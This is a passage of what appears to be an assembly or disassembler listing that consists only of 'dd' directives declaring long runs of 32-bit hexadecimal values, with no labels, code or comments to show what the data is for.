35A440D2h, 8802C64Ch, 2429C9D3h, 78E2D9h dd 6F59F0A8h, 200300E0h, 0BBCCEE6Dh, 0DD0C1928h, 59884434h dd 0ED78007Ch, 0FBA7ECE6h, 0E0038A7Fh, 88025A60h, 4D4805BAh dd 4272B016h, 0AA9F1A0h, 0EC75440h, 6D7C3872h, 0D21F5904h dd 0A942A21Dh, 4420C7F3h, 3D50FA8h, 69A27F2Ah, 0A0E0FDCCh dd 0D1C0F870h, 9E2EF597h, 11F90622h, 8E11ACDh, 3821F060h dd 1662EEEh, 8077CCCEh, 0FC5870DDh, 330C714Ah, 79A3828Ch dd 0C0A0E9Eh, 470EA052h, 3D61FDCEh, 0E0601348h, 3E05808Fh dd 67E05F0Dh, 806CDB15h, 0ECF6B89Eh, 62448CE4h, 0B89500B0h dd 164FB6C5h, 0F8C00FF4h, 4C4D53EDh, 916539EFh, 70B82986h dd 5F00B9A0h, 5B097A2h, 74E966E1h, 95600674h, 596E21A4h dd 1A06B67Eh, 0F0A61391h, 764F0940h, 48108650h, 0EB49F7EEh dd 5E328628h, 28E74888h, 87A04448h, 6C005E2Ah, 641D88Fh dd 90B4F65Ch, 6D542410h, 814511E8h, 0ECEFB89Fh, 107931DAh dd 1FB896B1h, 0C0157FB0h, 0FB10F39Dh, 21C06D43h, 0A89F5F7Dh dd 0B16E00C9h, 3A73322Dh, 8F149333h, 247426A4h, 3406C44Eh dd 49D969D7h, 0B780B498h, 0B2243305h, 0DCB5448Ch, 0E3059D00h dd 0AEAB2199h, 0C0100257h, 0DB6517A8h, 41088440h, 71689E18h dd 24F12330h, 5452A3h, 6B55B45h, 55033A4Ch, 5CA8C9D4h dd 81F9EA96h, 0BF417598h, 4809C471h, 213405F4h, 0E1C0BA24h dd 901205A2h, 0D914076Ch, 504E68ECh, 2B5E1E27h, 0CB09AA15h dd 82C528C8h, 432A4092h, 93008874h, 0D321C433h, 785B20F0h dd 0B8C748F2h, 11908524h, 2EFA80A5h, 8CD122E3h, 0D9F244h dd 0E5BC2EEAh, 8D7C159Dh, 532C1B00h, 70B78489h, 3129C09Fh dd 2AA452C6h, 4D00ED7Ah, 817EAA63h, 43C6E65h, 6F52D9Ah dd 5500808Dh, 0BE059B82h, 4E20C908h, 18E60C0Fh, 4321D9h dd 882BA11Fh, 1D9AB60Bh, 41056E74h, 6D14DC0Eh, 0C097F448h dd 243205B6h, 8873AA46h, 3A80A4DBh, 1E530986h, 1811FE02h dd 8B81895h, 9A243005h, 0DD40B3C4h, 55B8059Eh, 2EE81FFEh dd 0B9D4E730h, 6A18B3h, 0ECBD6CF3h, 0D0DAAF0Ch, 310041E8h dd 85491F5Ah, 244C05FEh, 9C9F3Eh, 0C851431Ah, 0EA1391EDh dd 0B850CA4Bh, 1A123D4h, 229F2EF6h, 88E918F1h, 2E7EE735h dd 0FD2F4D01h, 5358F9FBh, 22CC8C20h, 44A56D11h, 0D560B8C4h dd 4B006BD4h, 0EBFE8A8h, 246716C5h, 262B91BDh, 8E486010h dd 0F341E7E2h, 7AF0C4Ch, 0FB4504E5h, 16BEA0ECh, 0A4FC68EDh dd 11018B00h, 476AF531h, 2C31C1F9h, 0F49854FAh, 211844D7h dd 0A999262Fh, 0B4CC54F1h, 0F34700E8h, 0C29B4D54h, 22541206h dd 97F37F88h, 0BC0375C1h, 0D88A36EDh, 280F4B2h, 0ECF534CFh dd 5C64B1BBh, 27AD1016h, 2AC82044h, 9E060D8h, 94ECF4B8h dd 0AE04DC9Ch, 6119B897h, 0C04ACC0h, 8264B36Dh, 5BB0262Dh dd 4D1D043h, 20943119h, 81C3D218h, 0BAAD2022h, 602C247Bh dd 23FAB8E2h, 7811C4ECh, 0B899B400h, 24F99E2Bh, 2C0A3F00h dd 0E7E925D0h, 0CAC4A3B9h, 6AA1421Eh, 474C6128h, 0B850E118h dd 30A48C88h, 0AF6444h, 5BC9B898h, 0E124627Dh, 0F0BC032Bh dd 77612880h, 1F25FD60h, 921D98D8h, 0F0E85408h, 0B85113Eh dd 4023B9DCh, 0E14625E4h, 2A7A19F9h, 5504C0ACh, 92525947h dd 6044D098h, 35669187h, 3D000AABh, 866D6855h, 0A19EFDBBh dd 0B02032A4h, 99A26070h, 0DB354CA4h, 2BF8AF00h, 0F1240FA3h dd 0C09B6993h, 60E67C84h, 10B95E31h, 0C8812F4Fh, 458680DCh dd 1AEAC65Eh, 96DE4401h, 35092059h, 0F0B4B880h, 5CA71EEEh dd 670A3Bh, 0A318BF3Ch, 0B94398FBh, 0D8990788h, 345B30A5h dd 5211E82Ah, 25817A47h, 0A7D0C6Eh, 0BBAB4102h, 18401108h dd 78C12D45h, 0B82A4B6Eh, 48348044h, 1F10702Eh, 5613C09Bh dd 39A9E61Ch, 0FC81FB4Eh, 0B22F8A7Eh, 0F658BD33h, 0D8E8762Eh dd 0A4D7C480h, 12FBD07Eh, 0C7167Ch, 0EF809FE4h, 0A60F4CF5h dd 0C00FE84Fh, 0BB2D59C3h, 121700EEh, 0FA3F54CFh, 553FFDBAh dd 38805697h, 4B77210Eh, 549D5437h, 67F9DC7h, 830C254h dd 0B748CD84h, 0DD2D84C0h, 26680616h, 10121988h, 849CD1A5h dd 0A4BE4CDCh, 78CB7BCh, 6ACB43DBh, 82FE603Eh, 0E7304A29h dd 0A0A8B1D1h, 0D3410E2Ah, 22E0018Fh, 0F14C2442h, 6ADC6C09h dd 20D0484Fh, 0B6F94410h, 19A37030h, 9082F6h, 0C5BC8BBDh dd 923021ABh, 9D28C660h, 7FC1EFF0h, 0AE7F280Eh, 6062004Ch dd 9C0B3CBFh, 42000DCCh, 5D1A1434h, 5C37201Bh, 0C6412083h dd 0E0B2EC13h, 9967C142h, 18627954h, 4F4D040Dh, 0C027D80Eh dd 0BC3C5848h, 0B87BD92Ah, 0DA652810h, 427E844Ch, 1A4230Dh dd 22E22EF9h, 88EF18D9h, 2E02F1DCh, 3B91CCD0h, 81E48237h dd 124207CBh, 0F8C5BFABh, 0B960B5E4h, 1C00F4CDh, 47C007DCh dd 76A6C1Ah, 0CC51E63h dd 0B0A8665Ch, 0CD6DD080h, 0E2F44382h, 0C20D00AEh, 0F701371Ah dd 6E501F59h, 0AE408088h, 489FF123h, 4400809Ah, 0CE3628FDh dd 8467E86Eh, 0B5380121h, 81589E98h, 310126D3h, 120889FCh dd 416020A4h, 865B88A8h, 0BBA8A6BAh, 9BDC543Bh, 0A13EAD00h dd 7AFBD266h, 1E4E0C1Fh, 0FA9874C4h, 4440CC4Ah, 4F232B7Bh dd 945AF606h, 2A914038h, 48FA1914h, 0F09BE400h, 9A340C5Ch dd 8BC00D7h, 4EBBFB18h, 490010EAh, 0A11AE809h, 24114413h dd 74FC5314h, 8F48DD46h, 99811B3Ah, 3B4F11EDh, 801C2842h dd 261A3D1Ch, 0B8932C20h, 632944BCh, 0ECF3E8E3h, 0C26891FCh dd 0FCC09AB5h, 4F05E8D7h, 0FA78FCAAh, 0F7EFEC02h, 355890EAh dd 4F9D115Eh, 9B2084CFh, 0BB00ECF2h, 0BA8BA30Eh, 947A6E4Dh dd 2E1DA8C0h, 499D012Dh, 0F38F809Eh, 0E922E082h, 0DA10ED31h dd 0C9002EEBh, 0E2D7C115h, 13086B07h, 229EAE5Ch, 0E868F578h dd 0E2248255h, 720D54CDh, 0A02C209Dh, 8CE9BCh, 48FA951Dh dd 602C764Eh, 25011090h, 410817F9h, 68288574h, 18CEFBCh dd 3F7133E2h, 0E5B6201Ch, 0CEAC50CDh, 0B100C12Bh, 7827AB08h dd 988271E6h, 0B07620F4h, 7726340Eh, 0F2684399h, 69402EDFh dd 5B465E80h, 0BACDE301h, 0C86BA1E6h, 54B8A5C7h, 1214843Ah dd 0F0CBB335h, 0A0C0B3C8h, 7425AC8Fh, 0BEF030Fh, 0C6F0A99Eh dd 834EE101h, 0BB2FD924h, 6E08943Ch, 23026C7Ch, 0E599FFE1h dd 0A2C33DF0h, 67753063h, 0C168ADE6h, 5A40C0A2h, 808BFCh dd 8684781Ah, 7A57B2B9h, 0D302E87Eh, 5972FD2Bh, 40D84887h dd 0C4D62E9Ch, 17116AC0h, 6884005Bh, 83A3D11Ch, 0F45FE21Bh dd 262CA8B8h, 97AB32F9h, 0C453DF10h, 7771C8A9h, 6B0B9F18h dd 33767C58h, 0E22FE920h, 157AE438h, 0C4A68219h, 7D2D1400h dd 4E27A560h, 2B87AC0Bh, 0AFB0B054h, 0B89B4C4Dh, 9A048C73h dd 4A243605h, 0DFC09CB2h, 7EA705A8h, 0FD746600h, 725F07D1h dd 27F91524h, 9B27E88Bh, 0B3915497h, 0DE37BE80h, 60484D9Bh dd 9E7E10DCh, 0C8ECCA92h, 1E99C1EFh, 0F9C2D060h, 0A2451B02h dd 0D0C74410h, 0A37E17B0h, 7C5289h, 7C40FB98h, 5CB9E6A2h dd 6A0BDA00h, 3C9AD5h, 73B41005h, 70D4D09Fh, 0EBDA2766h dd 8CD3D71h, 9D8B6B80h, 6EC4F6B8h, 0B029C501h, 22156F92h dd 88022421h, 0E89C20B1h, 6601EB87h, 8127D33Ah, 31E08C57h dd 0D989002Bh, 0E996F291h, 0E07C029Dh, 289EACA1h, 0FC610434h dd 7CC23CA1h, 0A29091B6h, 2E1FF718h, 20A322E4h, 0EFDE2658h dd 0AD820C6Ch, 67E03F91h, 4F8F2700h, 0BD095015h, 76EA87h dd 0BB13460Fh, 27DE33FCh, 530BD900h, 22D17442h, 0BC41C0A5h dd 69B8BE55h, 97B05FB0h, 0F940E4B6h, 0F49C610h, 0E6E021A2h dd 771B3C40h, 0BF01D9D2h, 0F461448Ah, 16DC24ECh, 0A26500B7h dd 20EADF84h, 6F229F63h, 0C2BAC09Dh, 0DF2B0482h, 0F146A0B0h dd 485E341Dh, 0DBC4D74Fh, 5E2C8940h, 7F3187A8h, 0BDCEB9A9h dd 0E5957F4h, 659EA26Eh, 26209BC0h, 9C4837E1h, 0EE3081E0h dd 0A4387BDDh, 58C65E8h, 9F4375Bh, 88489231h, 6E302000h dd 607F4A25h, 4AA48C4h, 67031700h, 1C6F7B65h, 462C0572h dd 13DBDFC8h, 239C2EF8h, 5CF500EFh, 2064D0FEh, 50306C4Ah dd 11D14B1Ah, 8182639Bh, 0CE651820h, 0CAE6F88Ah, 4C6180A4h dd 1A1B489Fh, 59C5A5Ch, 6D12A46Eh, 89B3F8D1h, 7A20E800h dd 104E6C25h, 419638F0h, 0F06DEEC7h, 0CF6064E4h, 8548C0BFh dd 2171008Ch, 0E2542683h, 0AFF80A7h, 4ABD800h, 0F99C6914h dd 0CCF407DAh, 0A57976BBh, 0F2B4A2A9h, 569033B8h, 0E61C0E24h dd 0BB4704E3h, 38D0A016h, 7672EDC5h, 78021485h, 724F84BDh dd 40329AECh, 4B24357Ch, 0DAB02CC2h, 6305A300h, 0E4D5599Dh dd 0A5B205ABh, 52F0CC32h, 907BD4h, 8E271C85h, 0B16D5466h dd 1864D14Ch, 4EE28Ah, 0E9111013h, 802515F9h, 0F1242B0Ah dd 0E089805Fh, 0CF0C06FAh, 2EEE5F11h, 0F7DE10F4h, 162D76C0h dd 202E8A11h, 0F30B20B2h, 780445EBh, 29047FFBh, 28EDAA65h dd 0A47060A0h, 4EC90098h, 0B0A55FF7h, 0CF3B73CEh, 158B0040h dd 3E60EC12h, 0F4F90BBFh, 0DCC925A4h, 832468B9h, 0BA7CFA87h dd 0E0D282h, 17F896E2h, 7FE8D7ADh, 5587C4BEh, 0A6C78341h dd 0C9611100h, 0A17600CAh, 0D7E057D4h, 0DF014EBBh, 0D19FED47h dd 0E2D0BC8Ah, 0B5EE15FAh, 0C04C9C4Dh, 8960AA48h, 0D914FCFDh dd 0EE3E8600h, 0EB599788h, 1EF01C3h, 22435047h, 0E84C4083h dd 0A20F0635h, 254DDD02h, 0CC279CF3h, 0F16C1DE2h, 0C9260008h dd 92A5D8C5h, 6933BE00h, 0E9400D27h, 54F902FAh, 910FA0E0h dd 38935070h, 0F3D15829h, 200D418h, 0FEF70640h, 17A38FADh dd 9D79371Ah, 0E2686278h, 0F88132B0h, 20F14BE9h, 762D2F28h dd 47540920h, 0F7DA627Ch, 48774E18h, 0E7098445h, 0F4E740A7h dd 189B1F42h, 0D602CFB7h, 0A4C45FFBh, 9B304427h, 0BF2C0A18h dd 0B546567Ch, 0D0758700h, 65CF541Eh, 0A081AC27h, 1AD808A0h dd 45E40049h, 574074B9h, 9E39C9E1h, 630B8173h, 0A182B7A4h dd 429A319Dh, 4FBD87CCh, 4E65DCC0h, 5067B724h, 44459803h dd 0F0B90075h, 8FF305Dh, 8B4AA4E2h, 22E1D0CDh, 0E012A023h dd 47044020h, 40BC4DE7h, 0E81D1F1Bh, 9D211F38h, 4169FC6Ch dd 9E91A48Ch, 4629E700h, 1FB4BB67h, 64B64856h, 0B76AA098h dd 0F1ECEE52h, 950C9B24h, 0A2A9AC00h, 88ECB658h, 264D1780h dd 2344C06Ch, 984C83F9h, 88CAE5FCh, 0F0C0B0C8h, 9793E925h dd 90B64C0Fh, 6E905688h, 88895B04h, 0F8E72FDAh, 64B85058h dd 0CD3048Ch, 975A4721h, 36C02878h, 294F9A5Eh, 608C8107h dd 915E2E8Bh, 644A0600h, 463217BDh, 229505A7h, 12200230h dd 9D8808CCh, 488A3A80h, 1BC854Ch, 2FF679EEh, 7834DC44h dd 0ECA72664h, 60CCDD50h, 92D991D5h, 0E7001057h, 2179BBA6h dd 0DECF1Bh, 318AD3A3h, 27199D84h, 29BC2Dh, 0A2AFF5Ch dd 30BDE495h, 0B049D2E6h, 0A71DFA8Eh, 0CD008881h, 0D9D89957h dd 0BBF72F6Eh, 0A01A7407h, 0F0A9A664h, 0E48C1CA3h, 7B728A04h dd 5175E400h, 0BCE35D81h, 72541806h, 0A77F7882h, 156E8A8h dd 0FFAA3A2Ch, 92EB003Ah, 65DDAFD1h, 0B3FE00B8h, 0B0475C2Eh dd 2826AD8Ah, 202BA0F1h, 1CDA5316h, 44C2EEC8h, 0EDF09132h dd 5E083018h, 0CB374FB8h, 48859CA0h, 0E905575Eh, 2ED10FF8h dd 0FAE8E819h, 5FBC7AD6h, 6EF45349h, 4DE04C0h, 0EF80185Ah dd 2D3822CFh, 98A4D006h, 4C40B80Eh, 24F11899h, 13E89F80h dd 150162Ah, 4D9DAC30h, 0CDC04063h, 0F44BA9BBh, 547BA4D0h dd 0DE223030h, 8E538850h, 20B88C62h, 11589775h, 9BCE8079h dd 1469F3B1h, 0DA5239F8h, 9C0B977Dh, 0FC005C64h, 0A2BDF3E1h dd 9302F14h, 98B94C20h, 0E1D60C18h, 7EBC9900h, 0CA6E0471h dd 2A4C0021h, 0EE278661h, 0D126DB3Bh, 4343DC1Eh, 2F890E60h dd 8E8062EFh, 80B417F1h, 9D3954F8h, 87DC0048h, 0FA512F6Fh dd 0BBCC12ECh, 0B7D4E6C6h, 0E50E73F0h, 0B1AA0049h, 92E4ED2h dd 0BD0F2B72h, 89AC4D55h, 1D5C5AEFh, 0DB612EAh, 0C82088E7h dd 6490E5F1h, 851C6E2Fh, 1CE1587Ch, 200A4479h, 25E83829h dd 74E69064h, 1B84300h, 4C331664h, 913492AEh, 5AE820F4h dd 4DF444DEh, 0EB1CC150h, 74C702EFh, 0C32547BCh, 1802A0ABh dd 883E7653h, 0AFD46070h, 18260CC7h, 0EA4834BDh, 0A615BB01h dd 8E12C9E7h, 934D8450h dd 14A82C6Dh, 888404Ch, 310A9DCFh, 9C259B21h, 0A808A712h dd 1A12BFC8h, 670235Eh, 2FACBBE9h, 0B8B00400h, 9EAD280h dd 3D54D681h, 3C09285Ah, 0C59D0169h, 64EE64E4h, 5801DA12h dd 681BF66Eh, 76F26822h, 12676830h, 0C18A4B7h, 1A61A111h dd 0DC3D6200h, 0E4A7D7DFh, 0B84F500Ah, 0A4BC4CABh, 40526BC0h dd 280F9276h, 5F0AEDB8h, 0CBA304FCh, 8C88F927h, 0D0261453h dd 1400C069h, 34BCAD81h, 0C2284B80h, 0C07FF0B3h, 0F9702E00h dd 6318748Bh, 0CD33001Eh, 5443CFE2h, 9D670Eh, 56E92784h dd 744400A7h, 0E51E642Dh, 11768CBh, 2C8B6007h, 20C0F2C8h dd 49D9143h, 12613AEh, 4CA8AC34h, 48BD48F0h, 114312C4h dd 4E6C5444h, 52A4F488h, 1C4EB823h, 5830DE80h, 51C221A7h dd 0B6681300h, 9A0D56C3h, 38480CEDh, 0F3485D20h, 4443D788h dd 7B01AF75h, 0A94AB7BBh, 0C7079B81h, 5D7EB033h, 0BD9F97F5h dd 6D48880Ch, 357D9942h, 40112021h, 806C9BD7h, 2432D240h dd 3ED00BFCh, 88C8E6AFh, 0E73B3C78h, 883681BDh, 0C3149AEDh dd 9F1CD2E8h, 854E4A0h, 0AC998209h, 0A2167300h, 1CC5C3BCh dd 0BFD747h, 0F90502A3h, 527310E5h, 5C208817h, 7623983Ah dd 0C0BCA60Eh, 4F7BB0F0h, 0C1384F0Eh, 0BC734584h, 0B4EE2C29h dd 9B24215Eh, 7436FF80h, 0ABE5414h, 7019406Ah, 6C880BCh dd 0A2C06B29h, 4753EC00h, 0E335247Ch, 0F1201226h, 92CCA4D3h dd 878140h, 0A76AFAEDh, 47E1BE59h, 0C839DC9Ah, 2DE782ECh dd 0EDEEDFBCh, 0AACFC0F8h, 0D604E8E0h, 0E169BB39h, 73F40C81h dd 0D138C004h, 0B0A14E0Ch, 0AEC870F9h, 0E220251Fh, 0A41DB826h dd 725D7844h, 0CEE008F6h, 0DD00B807h, 0BB845822h, 4A5748FCh dd 2B1421EDh, 2106D8C5h, 72250500h, 8D89B8D3h, 0CE020215h dd 0DC8271ACh, 607E90CAh, 1B3465Eh, 25BD132Bh, 0E882AA8Dh dd 232D1820h, 0D49EF4F2h, 0B518F75Eh, 41B99607h, 82E7231Fh dd 0F5282251h, 3CD8012Eh, 680CA5Ch, 79F4660h, 22E12EF4h dd 40ECC428h, 0D32EED37h, 0EA993CADh, 46802CC8h, 433EF1C0h dd 8DD92809h, 60D88AA9h, 0F7DD2174h, 6CCB9280h, 7145D72h dd 163B2012h, 0B01049A4h, 547C7808h, 67289527h, 0B485604Ch dd 0BC1D722Fh, 1DC0F083h, 0F42B1730h, 7D18C0B7h, 428E1B2Eh dd 24BAC20Ch, 0F91A3083h, 33A83980h, 5C7A08BEh, 7B9BD403h dd 73B783h, 0F1C45221h, 18B8F969h, 0C0F0D719h, 21808808h dd 9CF1B2B1h, 0F900EDDAh, 0A8144389h, 3DE14C5Dh, 2F8152B5h dd 2D77B71Bh, 7A7083B6h, 670DE36h, 8FFCFA40h, 0AE90200Ch dd 387B3930h, 30AE7235h, 0B4C0305Ch, 3C00CACFh, 1FCE5A8Ah dd 0CCB652B9h, 70212B08h, 81007C98h, 43EB76B0h, 7E9B0DE3h dd 0FD7F3782h, 46396379h, 0D45897E0h, 3447CE0Fh, 0C87C8C90h dd 0AC080071h, 0B98215F5h, 0B0E07FE8h, 83DA39CEh, 0B1F3C1h dd 336A1411h, 561F3BC4h, 17668176h, 2821CA08h, 0AA6273h dd 6B6A6C0Ah, 0FFF93D1Dh, 1625E300h, 91562382h, 0F288C069h dd 19DE0207h, 0DC0CB4F8h, 48B521F5h, 155C3450h, 0B08808E1h dd 0D03CCCC0h, 229E465Ah, 0C5160723h, 0F049D83Ch, 36C6881Dh dd 0B33443E1h, 46B1A906h, 24889695h, 82086D18h, 50597016h dd 0F594C480h, 0D0A2C02Dh, 8FF81890h, 0B246D4ACh, 883CCE1Ch dd 25C4AE5Ah, 3CC71440h, 3300ABF1h, 60B51E03h, 28C11FCh dd 4C2E4A28h, 0BF8063C6h, 5809F990h, 0F2532300h, 42017ED6h dd 0C87154D3h, 6E048CC5h, 3F3BA833h, 311E0B63h, 8D9F6677h dd 26A13BC0h, 37058BA6h, 0F0D81FECh, 7E1A7DB4h, 0E01DE1CFh dd 88FAC4F0h, 0FC751AF3h, 0B4900878h, 0F00082BFh, 5D3E460Fh dd 1884ED12h, 2168F9DCh, 99CEC4F5h, 80620935h, 61813FC0h dd 1E7EA11h, 4ADC28Bh, 505BBE1Ch, 0EBC82F8Ch, 52D33491h dd 0EE0034D9h, 2E90C36h, 0F44CF9A8h, 77B31D80h, 0C898BB54h dd 336DC0C0h, 7433BABh, 0A0617687h, 0DEF4EAD9h, 59901A03h dd 0EB2B405h, 5AB50D58h, 240C65h, 0A0A57AA0h, 68C8CD10h dd 336CC0C7h, 0F463BAAh, 753D1022h, 2A800064h, 775C481Ch dd 26150720h, 76FD5AD5h, 0B0070CAh, 66253560h, 3EE831D3h dd 0A105D20Ah, 6080B475h, 0CBF08ADCh, 11D0FA23h, 81BE0068h dd 452032F0h, 0A6830035h, 0DE389AF5h, 0C4A8275Bh, 88184DE1h dd 4718FEA8h, 0C41C1CBFh, 75048006h, 0EF5515DBh, 0FB31CF00h dd 4A41BE51h, 0AA381214h, 11881285h, 0F850E8D7h, 393040A7h dd 0AC94F026h, 1786465Eh, 0FB01EF4Eh, 126BED5Ah, 5D3CB840h dd 509700D7h, 41F13553h, 5A14FE8Ah, 0BCC0DB45h, 722F21C8h dd 5E3BD201h, 430953Dh, 0C80713FAh, 41840FF2h, 5FE7FE5h dd 0DC5B18h, 0B6D3B4DCh, 73E6B9EEh, 0D4EC4B00h, 416FF376h dd 38B7739h, 399EB31h, 0D10079BBh, 0ED2A0653h, 8EA165h dd 0D3C46AC1h, 0E109C232h, 0BC079600h, 6FE4FA41h, 4AE8C113h dd 6454E5A8h, 0A7074F24h, 489D6D41h, 64781212h, 2AD4640h dd 5ACD3CC9h, 102E31B6h, 313CC26Fh, 63FEC05Bh, 0CD7BDC24h dd 0B901B01h, 7CE2EA19h, 78A76423h, 0CB0436C3h, 0EAE080C5h dd 0B6D90579h, 911BED58h, 63E4E380h, 302AA26Ch, 4F07D0CCh dd 15FCC9D8h, 4809D79h, 20722FC6h, 2EFAD0FFh, 400C037Eh dd 23614EB1h, 6DD45900h, 1FB0BD5Ch, 0FF9807Ch, 60262824h dd 4874483Eh, 1612394h, 0FAC8F0CFh, 888418E8h, 0F00086C3h dd 3F29CBD0h, 495D33B8h, 2A0720DDh, 20DE5844h, 2386F69Dh dd 79043973h, 0CDE46D3Fh, 290A48Ch, 0FBB2EF0Ah, 9065DB3Dh dd 986010E4h, 5D002547h, 0DE9A0DC4h, 0BAF3A9h, 91656376h dd 6CCDACBCh, 48A05B48h, 8C0FBC94h, 4F341500h, 0C2E69FBDh dd 0C78504F2h, 0C80BE558h, 0D56C3390h, 408F18F9h, 0CC99C514h dd 10C0A9D2h, 619E6CCh, 0C157FEBh, 0D60658D2h, 0B5A42258h dd 44BD0129h, 0C23F9421h, 0B094208Ah, 6C91317Ch, 1036C6D1h dd 0D96A6500h, 1FC031F0h, 3085D305h, 0E4C148C8h, 490072EBh dd 0AB031BE8h, 4BF797DCh, 4CB3E239h, 0E63CE274h, 80A6435Ah dd 3F3CC011h, 0FC080087h, 0E6FB1A6Ah, 0D926A63Bh, 27054C84h dd 90C1B93Ch, 3400B4C7h, 49A3A40h, 0C1E88C58h, 2146BB5Dh dd 12FAB074h, 1D2BD3E7h, 5B680264h, 0A045DB3Eh, 20D80FE5h dd 0EBD00003h, 0F5CAD70Eh, 7E0C89B5h, 909565CEh, 2503307Fh dd 7659BD31h, 0C0036092h, 1969CDB1h, 0A4B950BFh, 0CE048C64h dd 0B0FACFF0h, 8501C238h, 0CC92ADF0h, 39F8224Ch, 4628B093h dd 0F1A80287h, 1C58F96Dh, 0F1B6B50Fh, 1D1A947h, 4D163350h dd 40DDD45Bh, 21688096h, 0FC169017h, 44023905h, 80535638h dd 1E6B2EC8h, 467898D1h, 3CCB02AFh, 51C65A8Bh, 0BC6D6010h dd 0FF01993Ch, 36E23FEFh, 6C22F474h, 0A810DA03h, 95C0AB54h dd 590AF514h, 0FC174BFDh, 0B240093Ch, 43C6D89h, 471F837h dd 34C1FB80h, 28AEF58Ch, 84467604h, 44DA6403h, 2E80DE93h dd 374C4546h, 0FFF809A8h, 2DA0A0C7h, 4B79B1A6h, 85B00858h dd 6BF1AAC0h, 22C846F9h, 0B0B70287h, 8C2C10F1h, 0ED24F440h dd 0C00A6C00h, 0ECD2C28Fh, 0C01967E3h, 800392F8h, 7EBA4E40h dd 8C2DE401h, 0F6500FFBh, 0B39E860h, 0A7EFF992h, 0D759F022h dd 8E2F88A4h, 0C78D8828h, 0E8A950BEh, 0C0161F66h, 0A4009963h dd 14C26B4Ah, 8B192870h, 306952C8h, 8F3084E2h, 40F44B93h dd 585F26E0h, 4812E509h dd 0D705E3FBh, 0AC0477F5h, 94C8FC7Eh, 6CDF505Ch, 0B54438F3h dd 0E0FC4A80h, 0E249D93Bh, 0AB910F03h, 7DBA84h, 0A5F00629h dd 77B897E7h, 9A932203h, 9FA869FAh, 8CE2F394h, 653085F2h dd 3B9209E8h, 40095C56h, 17F704B0h, 31934096h, 0C4DA780Ah dd 0C5808491h, 0C0F96AF1h, 0B28A448Ch, 0CFF1AB01h, 0B003F4F5h dd 2139DCh, 404AFB35h, 5C83A056h, 9419D412h, 0CD135C40h dd 0E50E95h, 15E61DAEh, 400558D5h, 5C00C49Ch, 8032B0CDh dd 0B1D8635Bh, 0ABC02FB8h, 0CB00B6A3h, 6E132BA1h, 9CF8DC84h dd 0BFF58A1Ch, 349080C0h, 0B3BC3C17h, 0F8C20501h, 446952C3h dd 1880F840h, 0E1F13F35h, 0C9F04D35h, 510ECC2Ch, 665F1900h dd 0B11CA5DFh, 0C5F60162h, 5ABE1F8Dh, 7FF9897Eh, 1B0C10FBh dd 1929125Eh, 39B04159h, 207A6D4Eh, 0F0122E0Ch, 780BF3E3h dd 0F037DAh, 0D421BE4h, 3E1FDC40h, 5E1EFBABh, 0B406D600h dd 2CA81677h, 874470B1h, 24384A43h, 2250A152h, 312BF2B0h dd 0EDED4F8h, 221EE476h, 3D7B6163h, 0EC0FCB9Fh, 5C37F016h dd 0F16EC0A9h, 2B3234D7h, 30C2E91Ah, 0C511336Bh, 0C98C173Bh dd 7F7A7421h, 144CAD1Fh, 0EB0AE9E8h, 303778B5h, 45E41E27h dd 0ACE891CFh, 0CC3CC880h, 0C494BE5Ah, 3EC11258h, 5809A3Ch dd 0FDF598B7h, 0E2123241h, 28407819h, 0BD96AC11h, 12BD986Ch dd 1EA929h, 0AE39860Ah, 0A89A9001h, 86E498A5h, 102E8260h dd 5E4D5100h, 1924767Ch, 0A479C080h, 0C81DD9D3h, 1022335Ah dd 38A0441Ah, 6800E829h, 384616BEh, 22605D03h, 0A11D62D9h dd 0E3A900C6h, 0FCC44ED7h, 6F00E6EFh, 0F093B5B2h, 48EC07FBh dd 0CE0048E0h, 0BE467B6Ch, 29EB9F56h, 2D0810BCh, 0D4E3104h dd 0FFE08473h, 90FC1909h, 2C1E2720h, 84B851A8h, 0CF7BC9BAh dd 0C68588E4h, 502098EEh, 55F528D9h, 2CC4BA3Ch, 93C43519h dd 88BC8B77h, 0E4EEC073h, 0F516940Eh, 289CC6E7h, 526540A1h dd 4F924801h, 0A7FACD9Ch, 19838BE9h, 8C2F4A53h, 0B9701690h dd 316140h, 953445FEh, 3210C943h, 43E2025h, 0B059A514h dd 8CD187Fh, 78FACAF0h, 84BD70h, 6EB06DF0h, 0B527E557h dd 0B880BC90h, 389450F9h, 18D630E8h, 0F0D181CDh, 8B0006C0h dd 0A8ED0A70h, 9845D50h, 0BEF3BC7Fh, 82B2D020h, 8D001179h dd 3463A2AFh, 1FE248AEh, 701996FBh, 6B05059h, 17E61400h dd 0ACCBD58Ah, 0AA770358h, 9718C2BDh, 0F9293Fh, 262D0F1h dd 16C7E6F4h, 3FCA693Dh, 8D2374h, 7E839BB3h, 9E077A0Bh dd 53195D5Fh, 467CC0DAh, 4D190069h, 90A577C5h, 0D676015Ah dd 73B43362h, 58D2E81Fh, 0DCD40812h, 3565800h, 6037F7F9h dd 52D610F4h, 1C09C338h, 3775A1B7h, 0FAEB0058h, 44E7DCC8h dd 6BDB5Eh, 226F9A00h, 0FD4B64EFh, 3FC01952h, 86BE00A6h dd 99583AABh, 61E22EE4h, 12D390CCh, 0C80F69CEh, 3B047070h dd 0C394F1AEh, 49C6EB78h, 0B2335D1Dh, 0FCEDB680h, 4BF7E7F8h dd 4741723h, 904DA8F0h, 811A9258h, 0DDC389Ch, 8D4E3A13h dd 263C3C81h, 465EF839h, 0C9A80524h, 0D007D4B2h, 0DCB45E17h dd 0EB190CC0h, 1482EA25h, 54ECC26Ch, 0E8CC6B8h, 7978F01Eh dd 9FA4F65h, 0C8442D9Ch, 8579BCB9h, 0FB257718h, 0EFE018E3h dd 0C1990BC4h, 0F01D0BB8h, 158E2791h, 89FACE80h, 0F38E4C2h dd 1001DAB3h, 1837ED58h, 0F3E12C30h, 26A2AC63h, 2CC1430h dd 0DCD3892Dh, 0C4488EF2h, 8C945B5Dh, 473B6980h, 14F3146h dd 9B7B09Bh, 71581E20h, 27282874h, 0E0FC8A5Ch, 12704674h dd 1C043F0Fh, 5C9C7105h, 730604FCh, 867D659Eh, 62466054h dd 0C9F0CC02h, 863180FAh, 0DB74302Ah, 0EF00A757h, 0EB9108C6h dd 4B8F531h, 2FE87986h, 8404D1DDh, 88304B0Ch, 0A104C170h dd 4C243085h, 9DDE8D09h, 945404A9h, 0ECAD90A9h, 15E4744Ah dd 19C53902h, 8070594Eh, 0BE455A8Ch, 90CF5457h, 65FC0990h dd 0E8E44829h, 4A92313Ah, 47AE888h, 0A5091FF1h, 13C4F0C7h dd 0E55AECA8h, 28BE8724h, 0EA406300h, 2E66E4FBh, 3F207692h dd 86187220h, 0DFF19619h, 0AE7E0073h, 97FCB6F2h, 0A67D133Bh dd 